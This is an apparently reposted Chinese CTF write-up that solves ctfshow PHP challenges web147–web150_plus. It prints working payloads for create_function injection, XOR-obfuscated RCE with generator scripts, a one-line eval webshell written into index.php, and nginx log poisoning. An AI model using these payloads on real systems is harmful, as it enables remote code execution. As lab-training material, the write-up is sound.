欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 新车 > ctfshow-web入门-php特性(web147-web150_plus)

ctfshow-web入门-php特性(web147-web150_plus)

2024/10/24 1:56:20 来源:https://blog.csdn.net/Myon5/article/details/140733933  浏览:    关键词:ctfshow-web入门-php特性(web147-web150_plus)

目录

1、web147

2、web148

3、web149

4、web150

5、web150_plus


1、web147

^:匹配字符串的开头。
$:匹配字符串的结尾,确保整个字符串符合规则。
[a-z0-9_]:表示允许小写字母、数字和下划线。
*:匹配零个或多个前面的字符。
/i:忽略大小写。
s:匹配包括换行符在内的所有字符。
D(PCRE 特有):美元符号 $ 仅匹配字符串的实际末尾,不匹配结尾的换行符。

这里只需要让 $ctfshow 里面有其他字符即可满足 if 判断。

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。

这里可以通过 create_function 函数来实现命令执行

用法:create_function(string $args, string $code)

$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包含函数的实际代码。

示例:

$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123

create_function 动态创建一个匿名函数,其中 $a 是参数,'echo $a."123";' 是函数体,该方法已在 PHP 7.2.0 中弃用。

等价于:

function f($a) {echo $a . "123";
}f('Hello'); // 输出 Hello123

create_function 存在注入风险,我们这里先闭合前面的 { ,再注释后面的 }

构造 payload:

?show=}system('ls');//
ctf=\create_function

 

注释也可以采用 /* 

?show=}system('tac flag.php');/*
ctf=\create_function

拿到 flag:ctfshow{bd66d045-7a58-4af0-9079-d8c51f64c9cc}

2、web148

没有过滤异或符号,那就直接 rce 咯。

生成可用字符的字典:

<?php//或
function orRce($par1, $par2){$result = (urldecode($par1)|urldecode($par2));return $result;
}//异或
function xorRce($par1, $par2){$result = (urldecode($par1)^urldecode($par2));return $result;
}//取反
function negateRce(){fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){if ($mode!=3){$myfile = fopen("rce.txt", "w");$contents = "";for ($i=0;$i<256;$i++){for ($j=0;$j<256;$j++){if ($i<16){$hex_i = '0'.dechex($i);}else{$hex_i = dechex($i);}if ($j<16){$hex_j = '0'.dechex($j);}else{$hex_j = dechex($j);}if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$par1 = "%".$hex_i;$par2 = '%'.$hex_j;$res = '';if ($mode==1){$res = orRce($par1, $par2);}else if ($mode==2){$res = xorRce($par1, $par2);}if (ord($res)>=32&ord($res)<=126){$contents=$contents.$res." ".$par1." ".$par2."\n";}}}}fwrite($myfile,$contents);fclose($myfile);}else{negateRce();}
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

 生成 payload:

# -*- coding: utf-8 -*-def action(arg):s1 = ""s2 = ""with open("rce.txt", "r") as f:lines = f.readlines()for i in arg:for line in lines:if line.startswith(i):s1 += line[2:5]s2 += line[6:9]breakoutput = "(\"" + s1 + "\"^\"" + s2 + "\")"return outputwhile True:function_input = input("\n[+] 请输入你的函数:")command_input = input("[+] 请输入你的命令:")param = action(function_input) + action(command_input)print("\n[*] 构造的Payload:", param)

构造 payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");

生成读取 flag 的 payload:

传参:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

拿到 flag:ctfshow{b2e0527d-c9f5-4628-9232-d6de59b4f2c2}

预期解是使用中文变量,中文也可以作为变量名,绕过正则,payload:

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

其实也是通过异或,"`{{{"^"?<>/"; 异或出来就是 _GET 

当然还有其他异或的情况:

 

对双引号进行一下转义即可,payload: 

?code=$额="\"<>)"^"}{{}";${$额}[一](${$额}[二]);&一=system&二=tac f*

3、web149

代码审计:

$files = scandir('./'); 
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}

scandir('./');:扫描当前目录,并返回目录中的文件和文件夹名的数组。
foreach($files as $file) { ... }:遍历数组中的每一个文件。
if(is_file($file)){ ... }:检查是否为文件(而不是目录)。
if ($file !== "index.php") { ... }:检查文件名是否不是 index.php。
unlink($file);:删除文件。

也就是说当前目录下只能存在 index.php,预期解是通过条件竞争实现,但我们其实可以直接将一句话木马写进 index.php。

file_put_contents($_GET['ctf'], $_POST['show']);

file_put_contents() 函数把一个字符串写入文件中,这里是将 POST 请求中的 show 数据写入以 GET 请求中 ctf 参数指定的文件中。

payload:

?ctf=index.php
show=<?php eval($_POST[1])?>

调用:

1=system('cat /ctfshow_fl0g_here.txt');

拿到 flag:ctfshow{da4e2ab9-7b7a-4808-ad25-462d00167195}

4、web150

要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入 ?isVIP=1;

strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;

但 include($ctf); 可以进行日志文件包含,payload:

?isVIP=1
ctf=/var/log/nginx/access.log

可以看到是 user-agent 的内容,使用 burpsuite 抓包,在 ua 插入想要执行的代码 :

<?php system('ls');?>

读取 flag.php:

<?php system('tac flag.php');?>

拿到 flag:ctfshow{43581126-c1de-4fc7-97a5-268428a5e2c8}

5、web150_plus

新增对 $ctf 过滤 log,日志包含行不通。

payload:

?..CTFSHOW..=phpinfo

居然把 phpinfo 给调出来了,检索 ctfshow 即可找到 flag。 

ctfshow{8a30968a-6b41-49ff-ae79-8037d8cec776}

变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会检查 __CTFSHOW__ 是否是一个已定义的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,所以 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,当代码试图访问一个未定义的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。

至此,ctfshow-web入门-php特性完结。

20240727,Myon

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com